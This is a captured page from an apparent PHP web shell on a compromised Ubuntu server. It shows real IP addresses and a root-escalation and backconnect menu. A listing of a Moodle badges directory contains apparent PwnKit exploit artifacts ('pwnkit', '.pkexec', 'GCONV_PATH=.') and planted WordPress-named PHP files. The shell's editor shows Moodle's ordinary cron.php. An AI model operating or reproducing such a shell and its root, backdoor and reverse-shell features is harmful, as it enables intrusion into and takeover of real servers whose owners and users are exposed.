Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle.backup.39 /
badges /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
classes
[ DIR ]
drwxrwxr-x
criteria
[ DIR ]
drwxrwxr-x
lib
[ DIR ]
drwxrwxr-x
tests
[ DIR ]
drwxrwxr-x
.htaccess
197
B
-r--r--r--
.mad-root
0
B
-rw-r--r--
action.php
5.03
KB
-rw-rw-r--
ajax.php
1.59
KB
-rw-rw-r--
assertion.php
2.06
KB
-rw-rw-r--
award.php
7.84
KB
-rw-rw-r--
backpack.js
1.58
KB
-rw-rw-r--
backpack_form.php
7.48
KB
-rw-rw-r--
backpackemailverify.php
3.37
KB
-rw-rw-r--
badge.php
3.35
KB
-rw-rw-r--
criteria.php
3.45
KB
-rw-rw-r--
criteria_action.php
3.38
KB
-rw-rw-r--
criteria_form.php
3.88
KB
-rw-rw-r--
criteria_settings.php
4.4
KB
-rw-rw-r--
cron.php
5.52
KB
-rw-rw-r--
edit.php
5.38
KB
-rw-rw-r--
edit_form.php
10.6
KB
-rw-rw-r--
external.php
3.07
KB
-rw-rw-r--
index.php
6.9
KB
-rw-rw-r--
lib.php
3.11
KB
-rw-rw-r--
mybackpack.php
6.49
KB
-rw-rw-r--
mybadges.php
3.71
KB
-rw-rw-r--
newbadge.php
4.48
KB
-rw-rw-r--
overview.php
2.73
KB
-rw-rw-r--
preferences.php
2.08
KB
-rw-rw-r--
preferences_form.php
1.72
KB
-rw-rw-r--
pwnkit
10.99
KB
-rwxr-xr-x
recipients.php
3.91
KB
-rw-rw-r--
renderer.php
50.05
KB
-rw-rw-r--
upgrade.txt
1.11
KB
-rw-rw-r--
view.php
3.94
KB
-rw-rw-r--
wp-blog-header.php
2.74
KB
-r--r--r--
wp-cron.php
2.74
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : cron.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Cron job for reviewing and aggregating badge award criteria * * @package core * @subpackage badges * @copyright 2012 onwards Totara Learning Solutions Ltd {@link http://www.totaralms.com/} * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later * @author Yuliya Bozhko <yuliya.bozhko@totaralms.com> */ defined('MOODLE_INTERNAL') || die(); require_once($CFG->libdir . '/badgeslib.php'); function badge_cron() { global $CFG; if (!empty($CFG->enablebadges)) { badge_review_cron(); badge_message_cron(); } } /** * Reviews criteria and awards badges * * First find all badges that can be earned, then reviews each badge. * (Not sure how efficient this is timewise). */ function badge_review_cron() { global $DB, $CFG; $total = 0; $courseparams = array(); if (empty($CFG->badges_allowcoursebadges)) { $coursesql = ''; } else { $coursesql = ' OR EXISTS (SELECT id FROM {course} WHERE visible = :visible AND startdate < :current) '; $courseparams = array('visible' => true, 'current' => time()); } $sql = 'SELECT id FROM {badge} WHERE (status = :active OR status = :activelocked) AND (type = :site ' . $coursesql . ')'; $badgeparams = array( 'active' => BADGE_STATUS_ACTIVE, 'activelocked' => BADGE_STATUS_ACTIVE_LOCKED, 'site' => BADGE_TYPE_SITE ); $params = array_merge($badgeparams, $courseparams); $badges = $DB->get_fieldset_sql($sql, $params); mtrace('Started reviewing available badges.'); foreach ($badges as $bid) { $badge = new badge($bid); if ($badge->has_criteria()) { if (debugging()) { mtrace('Processing badge "' . $badge->name . '"...'); } $issued = $badge->review_all_criteria(); if (debugging()) { mtrace('...badge was issued to ' . $issued . ' users.'); } $total += $issued; } } mtrace('Badges were issued ' . $total . ' time(s).'); } /** * Sends out scheduled messages to badge creators * */ function badge_message_cron() { global $DB; mtrace('Sending scheduled badge notifications.'); $scheduled = $DB->get_records_select('badge', 'notification > ? AND (status != ?) AND nextcron < ?', array(BADGE_MESSAGE_ALWAYS, BADGE_STATUS_ARCHIVED, time()), 'notification ASC', 'id, name, notification, usercreated as creator, timecreated'); foreach ($scheduled as $sch) { // Send messages. badge_assemble_notification($sch); // Update next cron value. $nextcron = badges_calculate_message_schedule($sch->notification); $DB->set_field('badge', 'nextcron', $nextcron, array('id' => $sch->id)); } } /** * Creates single message for all notification and sends it out * * @param object $badge A badge which is notified about. */ function badge_assemble_notification(stdClass $badge) { global $DB; $userfrom = core_user::get_noreply_user(); $userfrom->maildisplay = true; if ($msgs = $DB->get_records_select('badge_issued', 'issuernotified IS NULL AND badgeid = ?', array($badge->id))) { // Get badge creator. $creator = $DB->get_record('user', array('id' => $badge->creator), '*', MUST_EXIST); $creatorsubject = get_string('creatorsubject', 'badges', $badge->name); $creatormessage = ''; // Put all messages in one digest. foreach ($msgs as $msg) { $issuedlink = html_writer::link(new moodle_url('/badges/badge.php', array('hash' => $msg->uniquehash)), $badge->name); $recipient = $DB->get_record('user', array('id' => $msg->userid), '*', MUST_EXIST); $a = new stdClass(); $a->user = fullname($recipient); $a->link = $issuedlink; $creatormessage .= get_string('creatorbody', 'badges', $a); $DB->set_field('badge_issued', 'issuernotified', time(), array('badgeid' => $msg->badgeid, 'userid' => $msg->userid)); } // Create a message object. $eventdata = new \core\message\message(); $eventdata->courseid = SITEID; $eventdata->component = 'moodle'; $eventdata->name = 'badgecreatornotice'; $eventdata->userfrom = $userfrom; $eventdata->userto = $creator; $eventdata->notification = 1; $eventdata->subject = $creatorsubject; $eventdata->fullmessage = format_text_email($creatormessage, FORMAT_HTML); $eventdata->fullmessageformat = FORMAT_PLAIN; $eventdata->fullmessagehtml = $creatormessage; $eventdata->smallmessage = $creatorsubject; message_send($eventdata); } }
Close